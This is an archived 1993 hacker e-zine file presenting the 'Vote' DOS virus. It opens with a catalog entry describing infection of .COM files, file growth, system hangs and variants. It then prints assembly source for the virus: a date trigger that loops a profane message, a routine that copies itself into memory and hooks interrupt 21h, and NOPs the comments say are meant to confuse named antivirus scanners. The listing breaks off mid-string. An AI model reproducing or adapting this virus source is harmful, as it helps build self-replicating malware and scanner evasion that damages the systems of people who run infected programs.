💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › MODERNZ › modern67.txt captured on 2022-06-12 at 13:30:47.
View Raw
More Information
-=-=-=-=-=-=-
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
/* *\
/ * * \
/ * * \
/ * * \
/ * Vote Virus * \
| * * |
| * * |
| * * |
| * Another Modernz Presentation * |
| * * |
\ * by * /
\ * Multiphage * /
\ * * /
\ * (C)opyright 5-13-93 * /
\ * */
- ******************************************************************************
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ******************************************************************************
The Modernz can be contacted at:
MATRIX BBS
WOK-NOW!
World of Kaos NOW!
World of Knowledge NOW!
St. Dismis Institute
- Sysops: Wintermute
Digital-demon
(908) 905-6691
(908) WOK-NOW!
(908) 458-xxxx
1200/2400/4800/9600
14400/19200/38400
Home of Modernz Text Philez
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
<*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
Vote
Virus Name: Vote
Aliases:
V Status: Rare
Discovered: June, 1992
Symptoms: .COM file growth; system hangs; message display
Origin: Bulgaria
Eff Length: 1,004 Bytes
Type Code: PNCK - Parasitic Non-Resident .COM Infector
Detection Method: AVTK, Sweep, VNet, ViruScan, IBMAV, F-Prot, VET,
VBuster 3.93+, UTScan 25.10+, Vi-Spy, NShld, Sweep/N
Removal Instructions: Delete infected files
General Comments:
The Vote virus was submitted in June, 1992. It is originally from
Bulgaria. Vote is a non-resident direct action infector of .COM
files, including COMMAND.COM.
When a program infected with the Vote virus is executed, the Vote
virus will infect the first .COM program located in the current
directory. If this program was previously infected with Vote, the
virus will reinfect it. The program the user was attempting to
execute will then run. When the user attempts to execute another
program, .BAT file, or DOS command, a system hang will usually
occur.
Programs infected with the Vote virus will have a file length
increase of 1,004 bytes for each infection of Vote within the file.
The Vote virus will be located at the end of the file. The program's
date and time in the DOS disk directory listing will not be altered.
Known variant(s) of Vote are:
Vote-1000: A later version of the Vote virus, this variant does
not reinfect programs. It infects one of the first four
.COM files in the current directory when an infected
program is executed. Infected programs will have a file
length increase of 1,000 bytes with the virus located at
the end of the file. The program's date and time in the
DOS disk directory listing will not be altered. Vote-1000
will occassionally attempt to display a message, though
the message may be in cyrillic and is thus unreadable on
most systems.
Origin: Bulgaria June, 1992
code segment
assume cs:code,ds:code,es:nothing
.RADIX 16
oi21 equ endit
nameptr equ endit+4
DTA equ endit+8
;****************************************************************************
;* Check for activation date, then proceed to installation!
;****************************************************************************
org 100h
begin:
call get_day ; Get the day, DOS time/date grab
cmp ax,0003h ; Did the function return the 3rd?
jne realstrt ; If equal, continue along stream
call get_month ; Get the month, DOS time/date grab
cmp ax,000Bh ; Did the function return November (11)?
jne realstrt ; If equal, continue to blooie; if not
; skip to loading of virus
blooie: mov dx, offset shithead ;load 'shithead' message
mov ah,9 ;display it and loop
int 21h ;endlessly until
jmp blooie ;user becomes ill and reboots
realstrt: mov ax,0044h ;move VOTE SHITHEAD to empty hole in RAM
nop ;a 'nop' to confuse tbSCAN
mov es,ax
nop ;a 'nop' to confuse Datatechnik's AVscan
mov di,0100h
mov si,di
mov cx,endit - begin ;length of SHITHEAD into cx
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;check to see if virus is around
je cancel ; by comparing new interrupt (ni21)
stosw ; vector to current, if it looks
movsw ; the same 'cancel' operation
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extension masks for checking and naming routines;message text
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
SHITHEAD db "DID YOU VOTE, SHITHEAD??"
db 07h,07h,'